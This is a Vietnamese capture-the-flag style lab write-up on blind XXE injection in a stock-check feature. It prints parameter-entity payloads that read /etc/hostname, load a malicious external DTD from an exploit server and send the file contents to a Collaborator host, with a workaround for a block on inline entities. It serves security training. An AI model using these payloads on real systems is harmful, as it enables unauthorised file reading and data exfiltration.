# Exploiting blind XXE to exfiltrate data using a malicious external DTD * Ở bài này chúng ta sẽ khai thác lỗ hổng blind XXE Injection để đọc file `/etc/hostname`. Lỗ hổng vẫn nằm ở tính năng **Check stock**, chúng ta sẽ kiểm tra và tìm vị trí tiêm payload. ![Capture01](https://hackmd.io/_uploads/SyvytaPvp.png) ![Capture02](https://hackmd.io/_uploads/rkP1Y6PDT.png) * Payload mà chúng ta sử dụng sẽ là: `<!ENTITY % file SYSTEM "file:///etc/hostname">` `<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://burp-collaborator-server.com/?x=%file;'>">` `%eval;` `%exfiltrate;` Tuy nhiên sau khi gửi thì chúng ta nhận được response là entity đã bị block. ![Capture03](https://hackmd.io/_uploads/H1vJF6vDa.png) * Chúng ta sẽ chuyển qua dùng exploit server, tạo một file tên `malicious.dtd` chứa đoạn payload trên. ![Capture04](https://hackmd.io/_uploads/rywyt6vD6.png) * Sau đó chúng ta tiêm payload để chuyển hướng đến URL chứa file `malicious.dtd`: `<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://....exploit-server.net/malicious.dtd"> %xxe; ]>` ![Capture05](https://hackmd.io/_uploads/SJPJKpDwT.png) * Sau đó chúng ta qua Collaborator để kiểm tra thì chúng ta nhận được 1 request HTTP có chứa chuỗi kí tự ở biến `x`. Đây chính là nội dung trong file `/etc/hostname`. ![Capture06](https://hackmd.io/_uploads/B1P1t6vva.png) * Lấy chuỗi trên để submit. Hoàn thành bài lab. ![Capture07](https://hackmd.io/_uploads/BJvyYTPwa.png)